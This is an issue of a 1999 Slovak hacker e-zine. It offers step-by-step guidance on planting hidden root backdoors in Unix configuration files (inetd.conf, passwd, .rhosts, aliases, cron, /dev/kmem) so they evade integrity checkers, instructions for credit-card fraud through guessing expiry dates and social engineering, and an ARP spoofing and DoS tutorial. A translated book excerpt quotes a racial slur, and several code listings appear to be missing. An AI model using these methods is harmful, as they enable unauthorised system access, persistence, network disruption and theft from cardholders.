::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #12, 27.7.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/obsah
kedze prielom teraz vychadza pomerne sporadicky, zmenil som trochu typ uverejnovanych clankov. namiesto kratkych security news a pokecnych clanockov som sem dal dlhsie veci, ktore boli podrobnejsie pripravovane, a taktiez dlhsie preklady zahranicnych veci. jeden z dovodov je ze na kratsie newsove clanky je tu teraz skvely http://underground.cz/, no a hadam tym aj trochu stupla kvalita prielomu.
v tomto cisle prielomu je dokoncenie prekladu “valka elektronickych gangu”. kedze to malo vcelku uspech, rozhodol som sa prekladat dalsie podobne veci z folkloru. zacal som prekladat aj uryvok zo skvelej knizky The Great Cyberwar of 2002, co je taka fikcia o vojnovom konflikte zaciatkom buduceho storocia, ktoreho dominantna cast sa odohrava prave na elektronickom fronte.
pridal som sem aj clanok o morrisovom worme, ktory prebehol inetom pred desiatimi rokmi a o ktorom sa odvtedy dost pisalo, ale cmarali o nom novinari a vacsinou z toho vznikali bulvarne pokecy stravitelne beznou poulicnou zmesou. v tomto clanku su uvedene technicke fakty. je tu tiez sucho-technicky clanok o spoofovani arp adries a icmp vyvazeny komickou poviedkou “koniec sveta” a klasickym interview s dastychom.
ehm, nech sa paci 🙂
pajka, 25.7.99 blava
konfiguracne backdoory
v dnesnej dobe existuje fura krasne prerobenych systemovych programov, ktore sluzia ako
backdoory. obcas je to len par riadkov kodu pridanych do /bin/login, inokedy su to riadne
sofistikovane elaboraty. volaco z toho je na arxive (hysteria.sk/arxiv), zvysok co sa
pohybuje po cz/sk nete su odvary povodnych idei SERTu a CzERTu, existuje vsak aj kopu
novych spickovych veci… princip je jednoduchy – vlozit do zdrojaku systemoveho programu
riadky, ktore:
nacitaju input;
nie je to ani komplexne ani tazke. takyto trojan sa da spravit na 10 riadkov.
klasikou je “prerabanie” /bin/login, okrem neho
sa modifikuju aj sietove daemony (rlogind, telnetd, rshd, sshd), castokrat okrem funkcie
samotneho backdooru maju tieto programceky aj ine prijemne vlastnosti, napr. logovanie hesiel,
obcas aj v sifrovanom tvare
odjakziva existuju programy na kontrolu integrity systemovych binariek (napr. stary ale dobry
tripwire), ale v minulosti ich takmer nikto nepouzival, preto bolo zamienanie povodnych systemovych
binariek patchnutymi nahradami
pokladane za idealny backdoor. Casy sa vsak menia. Dnes je programov ako tripwire neurekom
a navyse integritu binariek kontroluju aj ine programy ktore su urcene na spravu balikov, napr rpm
prikazom rpm -V. Mnohi rooti to dokonca zautomatizovali a robia to pravidelne cez crond.
vznika teda trend navratu kdesi pred rok ’94, ked sa pouzivali vacsinou tzv. konfiguracne
backdoory, cize rozne “nenapadne” zmeny v konfiguracii servera za cielom zabezpecit si backdoor.
ked teda pisem o konfiguracnych backdooroch, musim zalovit niekde do roku ’94, kedy sa to dost pouzivalo – kedze to su
doby dost davne a vela sa odvtedy zmenilo, mozno vam budu pripadat tieto backdoory primitivne. ale o to pri konfiguracnych
backdooroch ide – jednoduchy riadocek niekde v zlozitom konfiguracnom subore, ktory si nikto nevsimne.
tu je teda zopar konfiguracnych backdoorov z praxe, urcite vsak existuje kopa inych napadov (dajte na board),
toto su tie s ktorymi som sa ja stretol:
/etc/inetd.conf
klasika je pridat, alebo zmenit riadok v inetd.conf tak, aby spustil shell, napr:
/etc/passwd
klasika je najst nejake nepouzivane systemove konto, napr uzivatela “games”. jeho riadok v passwd
vyzera vacsinou takto:
pokial potrebujete kratkodoby a bleskurychly konfiguracny backdoor, obcas staci pridat do passwd riadok
s uid 0 a basta. pokial sa umiestni niekde do stredu vacsieho passwd fajlu, mate slusnu sancu ze si to
root nejaky cas nevsimne. ak xcete ozaj bleskovo vytvorit takyto backdoor, je na to dokonca
aj script:
na rlogin a rsh sa v dnesnej dobe windozov tak zabudlo, ze uz nie je vela ludi, ktori vedia
naco to vlastne je. preto + + .rhosts v home adresari nejakeho lamera moze sluzit ako fajn backdoor.
a uz vobec sa nepouziva subor /etc/hosts.equiv co je nieco obdobne ako .rhosts ale pre celu masinu.
vlastne staci pridat do tohoto suboru jeden riadocek s menom masiny na ktorej mas roota a potom z nej
spravit klasicky rsh -l root “/bin/sh -i”. ked uz sme pri tych lameroch a ich domacich adresaroch,
dalsi vdacny subor do ktoreho sa ludia malokedy pozeraju je .forward. tam mozeme umiestnit script, ktory
sa spusti ked posleme specialny program, napr:
/etc/aliases
pome sa este hrat s postou. subor /etc/aliases umoznuje postu nasmerovanu nejakemu uzivatelovi
expandovat na viacerych uzivatelov, alebo napriklad aj napajpovat ju do nejakeho programu. cize najjednoduchsi
syntax na backdoor v /etc/aliases je :
vlastnosti pam security ktore ho robia idealnym pre konfiguracne backdoory su komplexnost, neprehladnost a fakt
ze pam security naozaj do detajlu pozna velmi malo ludi. pripomenme si ze vseobecny syntax na konfiguracny subor
pamu (vacsinou /etc/pam.conf) je
cgi scripty
dalsim zaujimavym miestom pre umiestnenie backdooru su cgi scripty, daju sa bud modifikovat existujuce
scripty, alebo pridat novy script. moj favorit vzdy bol nasledovny script:
cron
cron sa od cias starych BSD systemov velmi nezmenil, ale dost sa zmenili konfiguracne scripty na cron.
hlavne tvorcovia linuxovych distribucii maju tendenciu byt prehnane kreativni a robia vselijake user-friendly
konfiguraky. napr taky redhat ma crony v /etc/cron.hourly, /etc/cron.daily.. atd a root iba potom vsunie svoj
script alebo program do prislusneho adresara. taketo zjednodusenia rootov rozmaznali natolko ze uz vobec needituju
a nesleduju /var/spool/crontab/root. cize pokial prave do tohoto suboru vsuniete nejaky riadok, su realne sance
ze si to root nevsimne. mozeme napriklad pridat riadok na denne kontrolovanie vlozeneho
uid 0 riadku do /etc/passwd (kukni hore do sekcie “/etc/passwd”) :
toto supni do /var/spool/crontab/root :
toto je v crone:
/dev/kmem
/dev/kmem je virtual systemu. kedze kernel ma svoje parametre v pamati, je mozne modifikovat
pamat na masine a zmenit UID procesu. na to samozrejme potrebujeme read/write prava. to sa bezne
v prirode nevyskytuje, cize ako backdoor musime najprv spravit chmod 666 /dev/kmem, napriklad to mozeme
spravit na par minut nejakym cronom, ako je to popisane vyssie. potom je treba otvorit /dev/kmem device,
najst svoj page v pamati, prepisat UID momentalneho procesu a spustit csh, ktory ziska toto uid. nasledovny
program robi presne toto.
konfiguracne backdoory maju jednu vyhodu – rooti vyzbrojeni programami na kontrolu integrity binariek
sa takto v pohode daju okaslat, navyse takyto backdoor prezije upgrade systemu, alebo dokonca kompletne
preinstalovanie masiny. klasicka reakcia roota ked zisti ze ma hacknutu masinu je preinstalovat to cele,
sranda je vsak ze stare konfiguracne subory sa vacsinou ponechavaju a /home adresare takmer vzdy.
navrat na obsah
kreditne karty (KK)
KK je plastova karta, ktora je nositelom informacii o vasom ucte.
Moznost jej pouzitia je trojaka. KK sa moze pouzit na vyber
hotovosti z bankomatu, moze sa pouzit na uhradzanie hotovostnych
pladieb v POS terminaloch alebo na inu formu uhrady hotovosti.
Prve dva sposoby su limitovane nutnostou fyzickeho vlastnictva
karty, pri tretom staci iba poznat informacie uvedene na karte
vo forme reliefneho pisma. Bankomaty a POSky tu rozeberat nebudem a
preto sa hned zameriam na ten treti sposob. Sem patria hlavne
internetovske nakupy a nakupy cez telefon. Aby ste si nieco takymto
sposobom objednali (a zaplatili), potrebujete poznat nasledujuce
informacie:
Kreditne karty mozno vo vseobecnosti rozdelit podla toho, ktora
spolocnost ich vydava. Vo svete existuje viacero standardov, ale
najviac sa pouzivaju nasledovne:
Vo svete sa najviac pouzivaju Mastercardy a Visy, tak podme na to.
Mastercard a Visa su co do struktury udajov zhodne (az na kratku Visu).
Cislo karty sa sklada zo 4 stvorciselnych skupin:
Tento clanok asi necitaju gazdinky za sporakom ani evanjelicky farari, takze
asi viete o co teraz pojde. Ide o to, nieco si kupit a NEplatit. Takze
sa napojite na nejaky inet obchodik, nahazdete do kosika par CDciek a idete
k pokladni. Tam na vas vypluju formular, v ktorom po vas chcu par
zbytocnosti (meno, cislo, datum expiracie a pod.). Po vyplneni formularu
sa potom server spyta centralnej databazy a ta bud vasu KK prijme alebo ju
odmiente. Z mojich pokusov mi vychadza asi tolko, ze na jednoznacnu
identifikaciu staci kombinacia cislo-datum expiracie.
Ale finta je v tom, ze to cislo nemoze byt hocijake. Na overenie platnosti
(teda nie existencie) cisla KK sa pouziva Luhnov kontrolny algoritmus a
ako ho vyuzit, pozri nizsie.
Povedzme teda, ze mate cislo, co s datumom? Skusajte! Pripojte sa na nejaky
porno server a skusajte postupne. Kreditky sa vacsinou vydavaju na jeden rok a
nie je teda problem odskusat tych dvanast datumov. Ina sranda nastane, ked
cislo KK neukazuje na platny ucet, potom treba cely postup opakovat s inym
cislom. Ak vsak uvazime, ze na zemi je okolo 6 mld ludi, tak pocet platnych
kreditiek sa bude pohybovat radovo v desiatkach milionov a to dava celkom
slusnu pravdepodobnost.
Luhnov kontrolny algoritmus:
Povodne tento algoritmus plnil funkciu akehosi kontrolneho suctu, poskytuje
vsak aj ochranu proti utokom typu zmenim jedno cislo a basta.
Postup je nasledovny:
Ak ma cislo KK parny pocet cislic:
Neparny pocet cislic:
Dalsia moznost pouzitia sa ukazuje v telefonovani. Ked chcete volat do USA,
slovtel po vas chce nehorazne sumy. Exituje vsak sluzba Slovakia-Direct,
pomocou ktorej sa mozete napojit na amickeho operatora bezplatne. Tusim
US-SPRINT poskytuje moznost uhrady hovorneho pomocu kratkej visy. To cislo
uz presne neviem, mrknite sa na webovsku stranku nasich telekomunikacii.
A ako toto cele obist? Co takto telefon? Ludia maju prirozdeny respekt
pred autoritami a pocitacom zvlast, tak to vyuzite.
A som na konci (v koncoch 🙂
a nakoniec zoznam bank:
navrat na obsah
valka elektronickych gangu III
Chris pochopi ze to John mu prepol medzimestskeho operatora. Tiez si mysli,
ale nepravne, ze John je autorom toho manifesta ktory severski chalani volaju
History of MOD. Takze Chris sa nasere a rozhodne sa ze tiez vyparati nejaky
ten kusok.
Chris ma stary pocitacovy program, ktory prelozi hocijaky fajl do noveho
‘jazyka’. Ked do toho programu naladuje History of MOD, vypluje to ‘jive’ verziu
spominaneho dokumentu. Tento prekladaci softik jednoducho hlada niektore
klucove slova alebo slovne spojenia, a zameni ich inymi.
V povodnom zneni to je to ‘In the early part of 1987, there were
numerous amounts of busts in the US and in New York in particular….’ a
program z toho spravi ‘In de early part uh 1987, dere wuz numerous amonts uh busts in de
US and in New Yo’k in particular….’
Pouzivanie jive programu je elektronicky ekvivalent ako dostat sa na trapnu
humornu show s rasistickym podtonom : “Some nigga’ name Co’rupt, havin’ been real
active befo’e, duzn’t gots’ some so’kin’ computa’ anymo’e and so … sheeit, duh.”
Chris sa sam nepoklada za rasistu. Hovori ze ma kamosov cernochov v praci.
Ked sa ho spytate preco takto zosmiesnil History of MOD: povie ze sa to zdalo byt
smiesne. Srandovne, hovori. Ked po niekom idete, spravite cokolvek co by ho zosmiesnilo,
hovori. Hocico. Nemal prekladaci program ktory by prozu chalanov z MOD zmenil na,
dajme tomu eskimacky prizvuk.. proste mal jive program.
Takze co mal robit ?
Keby ste zili v state Texase, chapali by ste to. Chris hovori: “Tunak dole
seci mame cizmy a klobuky. Vsetci chodime jazdit.”
John uzrie kopiu Chrisovej roboty zaciatkom 1991.
Sedi pred pocitacom ktory vyzera ako poskladany z vyhodenych casti. Ma velku
TV konzolu namiesto monitoru, rozbitu klavesnicu a stary Commie 64 s magnetakom.
Jeho komp je street box, guerrilla machine.
A tam je na obrazovke, jived History of MOD.
“De legacy uh de underground ‘clandestine’ netwo’k continues and so’s duz
de war against all de self-proclaimed, so-called ‘elite.'”
John najprv tomu neveri; je to prilis v drsne. Pomaly si to precituje, zhrozeny.
John to docita, potom si na minutku sadne, cumi na obrazovku, cumi mimo obrazovky..
proste cumi. A mysli si, “tento chalanicko ma fakticky nema rad. Je namiereny na mna,
a iba na mna”.
Comsec otvori svoje dvere v Maji 1991 a partneri sa v priestrannych kancelariach
v Houstone rychlo zabyvaju. Comsec ma vysoky strop s neonmi a plynove lampy v dvoch
koridoroch. Obcas zakladatelia Comsecu skateboarduju po dlhych prazdnych chodbach a
sulaju sa v pisacich kreslach. Chris byva v zadnej casti budovy, v bejvaku s velkou
Ale je tu jeden problem. Comsec nema ziadnych klientov.
Sefovia Comsecu maju tyzdenne porady, na ktore vsetci chodia. Rozhodnu sa distribuovat
spravy do tlace o ich zabezpecovacie sluzby. Ako kto ? Ako profesionalni ex-hackeri,
spravia si zoznam pravdepodobnych klientov. Prescanuju si fajly na undergroundovych
BBSkach aby nasli mena podnikov ktore boli infiltrovane, potom tam volaju a ponukaju svoje
sluzby.
Spravy v tlaci funguje super, pretoze v Juni 1991, menej ako mesiac po oficialnom
debute Comsecu, casopis Time uverejni o tychto hackeroch story.
Na druhy den okamzite zacnu zvonit telefony. A zvonia a zvonia. Nemozete si kupit lepsiu
reklamu ako Time. Comsec ma klientov ! Jeden je konzultant reprezentujuci telekomunikacny
priemysel, objednava si vyzkum nedavnych vypadkov regionalnych Bell spolocnosti.
Klient zaplati US$5000 zalohu.
Samozrejme ze publicita v Time ma aj iny efekt.
Hore na severe, chalani z MOD citaju tieto story.
John Lee dostane super napad ako si z Texasanov vystrelit. Preco ho to do paze nenapadlo
uz skor ?
Svoj plan zacne realizovat pocas toho dlheho, horuceho leta 1991. Aspon ho to odreaguje
od skutocnosti ze sa musi potit v horucom baraku bez klimy na Kosciusko Street.
Jeho plan je spiclovat, a je vcelku jednoduchy. John sa naloguje na Southwestern Bell
ustrednu ktora kontroluje telefony Comsecu v Houstone.
Potom John napise prikazy a zisti z ustredne ktore z telefony v Comsecu sa momentalne
pouzivaju.
Ak sa nejake pouzivaju, John vie ze momentalne prebieha nejaka konverzacia.
Pouziva sa telefonna linka. Takze napise zopar prikazov, tak ako by to spravil
operator, a ziska kontrolu nad danou linkou. Takto jednoducho odpocuva prebiehajucu
koverzaciu.
Na linke pocut tichy klik, ale nie je to ten typ hluku ktory by ste si vsimli, pokial
na neho necakate. A nikto v Comsecu nema dovod nato aby si mysleli ze ich niekto
odpocuva.
John pravidelne odpocuva hovory. To je ten pravy sposob ako zistit co ma nepriatel
za lubom a ako ocakavat kazdy krok Texasanov pred tym ako ho spravia. Takze tu mame
Johna, ako jedno poobedie pocuva ako tato bezpecnostna firma ma telefonat od svetoznameho
hackera, Creiga Neidorfa.
Da sa s lahkostou povedat ze v roku 1991 niet znamejsieho hackera ako Neidorf. A to preto
lebo rok predtym Neidorf porazil federalnu vladu v ich vlastnej hre. Mesiace potom,
Neidorfov pripad sa stal legendou. (A roky potom sa opatrni prokutarovi ktori zvazovali
zalovanie hackerov jeden druheho varovali pred “potiahnutim dalsieho Neidorfa.”)
Spolu-editor elektronickeho casopisu Phrack, Neidorf za zucastnil v lete 1990 v Illionse
sudneho procesu. Bol obvineny z vlastnictva a publikovania takzvanych sukromych
dokumentov telekomunikacnej firmy vo Phracku. Vlada argumentovala ze publikovane informacie
mali hodnotu tisicov dolarov, na zaklade odhadov telekomunikacnej firmy. Ale v priebehu
sudneho procesu obhajoba dokazala ze dokumenty namiesto tajnych informacii obsahovali
informacie ktore boli verejne pristupne, Bellcore predaval tieto informacie hocikomu kto
si zaplatil 13 dolarov za clanok v technickej tlaci. Zhrozeni federalni prokuratori
vzdali pripad este pred tym ako sa dostal pred porotu. Ano, Neidorf bol pre niektorych
hackerov hrdina. Ale bola to jeho notorickost ktora ho preslavila v undergrounde
kyberpriestoru.
Teraz okolo obeda pracovneho dna v lete 1991, Chris Goggans odpovedal na telefonat
v Comsecu a na druhej strane linky je Neidorf. (John potichu odpocuva.) Telefonat je
iba priatelsky pokec, ale dnes je Neidorf fakticky nasraty. Problem je ze stale dostava
anonymne telefonaty, furt ho niekto otravuje. Mysli si ze vie kto je zodpovedny, ale
chce aby sa to skoncilo.
“Hm vyzera to ze ti robia nieco podobne ako robia aj nam,” odpoveda Chris.
“Niekto prave volal mojmu otcovi do Virginie”, hovori Neidorf. Chris nie je prekvapeny,
ale je za svojho kamosa tiez nastvany. Ma teoriu o tom kto by za tym vsetkym mohol byt.
“Vyzera to na Corrupta,” hovori Chris, opakujuc svoje podozrenie ze John Lee ho
otravuje aj v Houstone. “Vyzera to ze to on vsetko robi.” V tej chvili zazvoni druhy
telefon v Houstone, dalsi prichodzi telefonat pre Comsec. Chris poprosi Neidorfa aby
chvilocku pockal na linke, a zdvihne druhy telefon. Hlas na druhej strane tej druhej linky
hovori Chrisovi, “Heh no jo, to fakt vyzera ze to robim ja.”
Chris je taky nasraty, ze ani nemoze normalne rozmyslat. John Lee odpocuval linky !
Sukromne telefonaty Comsecu ! Ako dlho ? Ako casto ? Co vsetko pocul ? Co vsetko vykecal
svojim kamosom v MODe ? Ked sa toto vsetko dostane von, Comsec bude na posmech !
Najali by ste si firmu na computer security, ktora si ani svoje vlastne telefonne
linky nevie zabezpecit ?
Chris zavola FBI, nevediac ze Kaiser a Staples uz cele mesiace zhromazduju dokazy
na sudny proces proti MOD. Ci Chrisov telefonat ovplyvnil nacasovanie nie je zname, ale
sudny proces proti MOD zacne v Juli 1992.
Sudne obvinenie ma 11 casti a obvinuje Marka, Paula, Eliho, Johna a dalsich clenov
MOD z nelegalnych prienikov do pocitacov. Kazda z 11 casti obvinenia je postihnutelna
minimalne piatimi rokmi vo vazeni. Kazda z 11 casti ma maximalnu pokutu 250 000 dolarov.
Tento sudny pripad je taky velky, taky senzacny a taky prevratny, ze US prokurator
sam zvola tlacovu konferenciu v lobby St. Andrews Plaza, na riaditelstve v Manhattane.
Chce ohlasit tento pripad mediam. Je to spichnute tak trochu na rychlo, rady skladacich
stoliciek siahaju az po stenu s detektormi kovov a vpredu po nepriestrelnu budku US-Marshala.
Dnu sa sype retaz navychyrenejsich New Yorskych novinarov a pytaju si handouty.
Obzaloba je zhrnuta do 23 stranoveho reportu prehusteneho faktami, vypoctami, pravnickymi
vecickami. Prehlasenie pre tlac ktore sa snazi vysvetlit ze o com toto obvinenie vlastne je, je
samo o sebe 8 stran dlhe. A potom mame este grafy na tabuli, ktore prichystal agent
Secret Service Rick Harris.
Hlavnu pointu ktoru sa obzaloba snazi preukazat je celo-narodny rozsah tychto pocitacovych
prienikov.
“Toto je kriminalita buducnosti,” hovori US prokurator Otto Obermaier, vysoky chlapik v
tmavom obleku. Ukazuje prstom a zdoraznuje odpor voci pocitacovej kriminalite. “Odkaz ktory
chceme poslat do sveta z tejto obzaloby je, ze takyto druh cinnosti nebude tolerovany.”
Clenova MOD su obvineni z najrozsiahlejsich prienikov najvacich a najsenzitivnejsich
pocitacovych systemov v krajine. Vlada sa rozhodla ze z tychto teenagerov spravi vzorovy
priklad. Odkaz, ako to vola Obermaier, npripusta ziadnu toleranciu. Ak si hacker ktory
rozmysla ze sa vyda po stopach Masters of Deception, radsej si to rozmysli.
Ani pomaly nie je miesto pod podiom – vsetci novinari sa snazia uchytit co najviac
informacii. Su tam prokuratori. Potom su tam agenti FBI a Secret Service a su tam aj
vysetrovatelia z Ministerstva Spravodlivosti USA – odbor Pocitacovej kriminality.
Obermaier povie novinarom vsetko o tychto trestnych cinoch. Hovori o tom ako chalani
sposobili firmam skody v tisicoch dolarov vo forme vyplat bezpecnostnym specialistom,
stratenym casom na serveroch. Ale nepovie im ze tito nebezpecni hackeri su vlastne iba
skupina teenagerskych chalanov ktori su priatelia, lebo zdielaju spolocne hobby.
Tato story sa dostane az do vecernych sprav na NBC s Tomom Brokawom. Je to ten pravy
pribeh s ktorym Brokaw ukoncuje spravy – reportaz na zamyslenie. Je tam zaber ako Mark
vyucuje pocitacovu triedu v New School for Social Research v Greenwich Village. Reportaz
sa konci na tmavej dazdivej ulici. Mark hovori reporterovi NBC ze je jednoznacne obet
politickeho vysetrovania.
Keby bol z toho byval sudny spor, tak tento pripad s MOD by sluzil ako precedens celej
krajine, spravila by sa merna latka, podla ktorej by vlada mohla odsudzovat takzvanych
pocitacovych kriminalnikov.
Ale nebol z toho sudny spor, pretoze vsetci chalani z MOD sa pocas roka deklarovali pred
sudcom ako vinny. Vsetci to vzdali. Co im zostavalo potom ? Bolo to na prokuratoroch aby
doporucili vysku trestu a na sudcovi aby to schvalil.
Hackeri ktori prichadzaju do budovy Citicorpu prvy piatok vo Februari 1994 maju
tazke boty, siroke nohavice a obite kanady, vysoko zasnurovane. Keby ale bol Jul,
samozrejme by neboli obleceni inak. Je to ich uniforma.
Dnesna session je prve stretnutie po takmer piatich rokoch na ktorom nie je pritomny
nikto z MOD – Mark, Paul, Eli a John su vsetci vo vazeni. Su tu tucty hackerov, vo veku
od 14 do 40, omnoho viac ucastnikov ako vtedy zaciatkom 1989. Odvtedy sa svet o dost zmenil,
odkedy sa Mark, Eli a John nejak nasli, a zacali spolu fungovat.
Je to vlastne ako keby ich cely svet dobehol. To co robili chalani MOD pre zabavu –
rekreacne behali cez kontinenty po kabloch – sa stalo narodnym sportom. “Surfovanie Netu” je
teraz popularnejsie ako kedy bolo CB radio a ludia vsade si kupuju svoj prvy pocitac
a pripajaju sa na online sluzby, aby sa spojili s informaciami z celeho sveta.
Preto nie je prekvapive, ze novi clenovia zvedavej generacie zaplnaju atrium Citicorpu.
Dnes vecer je ale diera tam, kde byval kedysi Mark, pri telefonnych automatoch, tam kde
tak rad postaval kym sa skupina kamosov zbehla okolo neho a davala mu technicke otazky.
Dnes vecer ho tam nenajdete vo familiarnom modro-bielom pulovri, nebudete pocut jeho
hlas. Dnes vecer je Mark daleko. K vratnici Pennsylvanskej okresnej vaznice prisiel neskoro
vecer v Januari 1994, dvere za nim zapadli este pred tym ako sa stacil rozlucit s priatelmi.
A nedostane sa odtial az do Novembra. Sudca ktory odsudil Marka povedal, ze Mark svojimi
aktivitami bol messenger, vzor pre hackersku komunitu. A tak sa sudca rozhodol poslat naspat
message.
Po sest-mesacnom vazeni vysiel John chudsi, svalnatejsi, vlastne v najlepsej forme v akej
kedy bol. Na jesen 1994 sa rozhodol ist naspat na Brooklyn College, kde nastupil studium
filmovej tvorby. Ma kopec napadov na filmy ktore by xcel zrealizovat.
Po skonceni vazby vo federalnom vazeni v Pennsylvanii sa Paul dostane na slobodu na jar
1994. Mark sa ma dostat von niekedy okolo Dna Vdakyvzdania. Pre obidvoch z nich sa hackerske
dni stanu vybornym treningom na job: Paul pracuje pre firmu ktora patra po nezvestnych
osobach s vyuzitim verejnych databaz. Mark prevadzkuje servre v Echo, Manhattanskom Inet
providerovi. Marka maju uzivatelia v Echo tak radi, ze zalozia malu zbierku kym sedi v lapaku
a kupia mu novy laptop ked sa vrati na slobodu.
Legion of Doom a Comsec su uz iba pamiatka. Comsec skoncil cinnost a Chris Goggans pracuje
v Austine pre Dell, skuma pokrocile bezdratove siete. S ostatnymi clenmi LOD zozbierali
tisicky odkazov, e-mailov, elektronickeho grafitti z roznych elitnych BBSiek z 1980-tych rokov
a predava to cez firmu LOD Communications. Predava aj tricka – na hackerskej stretavke
Ho-Ho Con v decembri 1992 v Houstone predava tricka s logom “The Hacker War” krizom cez
prsia s mapou Spojenych Statov s vyznacenymi miestami najvacsich bitiek, hlavne Houston, Austin
a New York.
Na zadnej strane tricka je napisane: LOD 1, MOD 0. A je tam hlaska ktora je udajne od Corrupta,
ktoru Chris dostal z tajnej databazy MOD: “Nezalezi len na tom aby sme vyhrali, ale na tom
aby vsetci ostatni prehrali.”
Autori su reporteri New Yorskeho platku Newsday. Su zenati, maju dve dcery a macku so
siestimi prstami. Toto bol uryvok z ich knizky “Masters of Deception: The Gang That
Ruled Cyberspace” ktora vysla v nakladatelstve Harper-Collins v roku 1995. Na Slovensku
alebo v Cechach podla mojej informacie preklad nikdy nevysiel..
preklad pajka
existuju bugy a existuju features. castokrat je rozdiel medzi oboma iba v oku
vsemohuceho. chcem ukazat dva legitimne protokoly, ARP a ICMP, ktore ked sa
spravne implementuju, dokazu spravit cosi co nie je, ehm, nie je ziaduce.
kym pasivne utoky (sniffing) ktore zneuzivaju rootovsky pristup po LANke su
extremne popularne a aj lamerske rootkity maju vzdy aspon nejaky jeden net sniffer,
aktivne utoky zase nie su az take rozsirene. ale aktivna ucast v zivote vasej
LANky vam moze priniest kopec zabavy a radosti. to ste asi uz vedeli, akurat technicke
detajly boli nejak zahmlene. takze, budiz svetlo.
postupy ktore vysvetlim zahrnuju spoofing a DoS. aj ked ine druhy spoofingu,
ako napriklad IP blind spoofing, su omnoho vseobecnejsie a silnejsie, z pohladu
vyuzitelnosti pozaduju kopu roboty, hadania, a tazko sa implementuju. ARP spoofovanie je
naproti tomu velmi jednoduche a robustne.
aj ked ARP spoofovanie je mozne iba na lokalnej sieti, moze to znamenat seriozny
bezpecnostny problem ktory rozsiri uz existujucu dieru v bezpecnosti. ak sa niekto nabura
na jeden server na subnete, ARP spoofing moze byt pouzity na napadnutie ostatnych masin na nom.
zoberme si takuto hypoteticku siet
prva vec co nas napadne (myslim ze kazdeho to asi raz napadlo) je “preco si nenastavim
svoju IP adresu na adresu tej druhej masiny a…” To zial nefunguje, alebo aspon nefici to
poriadne. ak povies ethernetovemu driveru na cat ze jeho IP adresa je 10.0.0.2, zacne odpovedat na
ARP requesty na tej IP adrese. ale takisto aj rat. je to race podmienka a neexistuje v nej
vitaz. ale lahko sa moze stat ze sa z teba stane porazeny, pretoze tato konkretna situacia
sa odohrava dost casto ked sa nejaka masinka zle nastavi na uz existujucu IP adresu, takze kopu
softwaru si takuto vec hned vsimne a okamzite spustaju poplach. aj vselijake traffic analyzere na taketo
nieco upozornuju. riadok v syslogu ktory hovori cosi neprijemne (spominajuc ethernetovu adresu cat-u) na
konzole LAN administratora nie je zrovna to co potrebujes. a to co ty chces nemusis vobec mat,
cize dostat fungujuce spojenie.
tomuto ale mozeme samozrejme pomoct. program na konci tohoto clanku, send_arp.c,
moze byt uzitocny nastroj. ako hovori jeho meno, posle ARP packet [presnejsie povedane
ARP reply: pretoze v ARP protokole bude reply s radostou privitany aj ked si ho nikto nevyziadal.
request by tiez v pohode fungoval, toto je dost divna logika ARP protokolu] na siet a mozes spravit
z tohoto packetu co chces. co potrebujes je schopnost specifikovat zdrojovu a cielovu IP a hardwarova adresu.
zaprve nechces aby bol tvoj ethernet driver moc ukecany, a to sa lahko docieli
prikazom ifconfig -arp. samozrejme bude potrebovat aj tak ARP info, takze ho budes
musiet krmit do kernelu manualne cez arp(8). najdolezitejsia cast je presvecit svojich
susedov. v tomto pripade chces aby dog veril ze hardwarova adresa rat je ta co ma cat (AA:AA),
takze posles ARP reply so zdrojovou IP adresou 10.0.0.2, zdrojovou hw adresou AA:AA,
cielovou IP adresou 10.0.0.3 a cielovou hardwarovou adresou CC:CC. teraz si mysli dog ze
rat je na AA:AA. samozrejme zaznam v cache expajruje, takze ho musime updatovat (request musime
znovu a znovu posielat). ako casto, to zalezi od konkretneho systemu, ale kazdych 40 sekund
by malo stacit vo vacsine pripadov. kludne to poslite aj castejsie, nic sa neublizi.
moze nastat komplikacia v suvislosti s ARP caching. niektore systemy, napr. Linux sa budu
snazit updatovat cache vyslanim unicast ARP requestu na cachovanu adresu (ako ked ti manzelka
zavola aby sa presvecila ze si tam). takyto request moze vsetko posrat, pretoze zmeni
ARP zaznam obete, ktory si prave fejkol, takze tomu musime zabranit. toto dosiahneme tak,
zze nakrmime “manzelku” s reply packetmi ktore si nikdy nevyziadala. prevencia je najlepsi liek,
ako vzdy. tentokrat, skutocny packet z dog na rat by mal byt zaslany, akurat ho posle cat, a nie dog,
ale rat to nedokaze rozlisit. opat, pokial to spravime kazdych 40 sekund, vacsinou to staci.
takze postup je jednoduchy. nabehni aliasovy interface, napr. eth0:1 (alebo pouzi uz existujuci,
to je fuk), s IP adresou rat a so zapnutym ARP protokolom – najprv musis nastavit cache vstupy,
a nebude to fungovat na ne-arpovom interfaci. nastav host route pre dog cez spravny interface. nastav
cache vstup pre dog, vypni arp, a vsetko mas nastavene.
teraz posli send_arp (na dog aj na rat) a teraz si dog mysli ze si rat. pamataj na to ze mas
dookola posielat tieto ARP packety na dog aj rat.
tento utok funguje iba na lokalnej sieti, samozrejme (vo vseobecnosti sa da povedat
ze ho mozes pouzit tak daleko ako mozu ist ARP packety, vacsinou to vsak nie je velmi daleko, pretoze
sa skoro nikdy ARP packety neroutuju). zaujimave rozsirenie je vymenit hardwarovu adresu v hore nacrtnutom
sceneriu s routerovou adresou. ak to funguje (nie som si isty ze to vzdy bude fungovat, implementacia ARP
routeru sa tazsie da okaslat a kedze to nechcem skusat na skutocnych routeroch, neviem, ale jednoducho
neexistuje dovod preco nie) mozes sa lahko tvarit ako masina na lokalnej sieti pre cely svet. takze
cielova masina moze vlastne byt hocikde, ale masina na ktoru sa tvaris musi byt na tej istej LANke.
co este mozeme robit
okrem spoofovania mozes s ARP robit este kopec veci. jedinym limitom je obloha. DoS je
najzavnejsou aplikaciou.
krmit obet zlou hardwarovou adresou je silny sposob ako ju umlcit. mozes zabranit aby
komunikovala s konkretnou masinou (a velkost ARP cache zvycajne umoznuje zahrnut do toho
celu siet, takze dokazes efektivne zabranit komunikacii s celou sietou). zjavnou obetou
je router. Zaplnanie cache je opat dvoj-smerne: mal by si krmit aj victim system, aj
system na ktory nexces aby victim komunikoval. Najjednoduchsi sposob je krmit neexistujucu
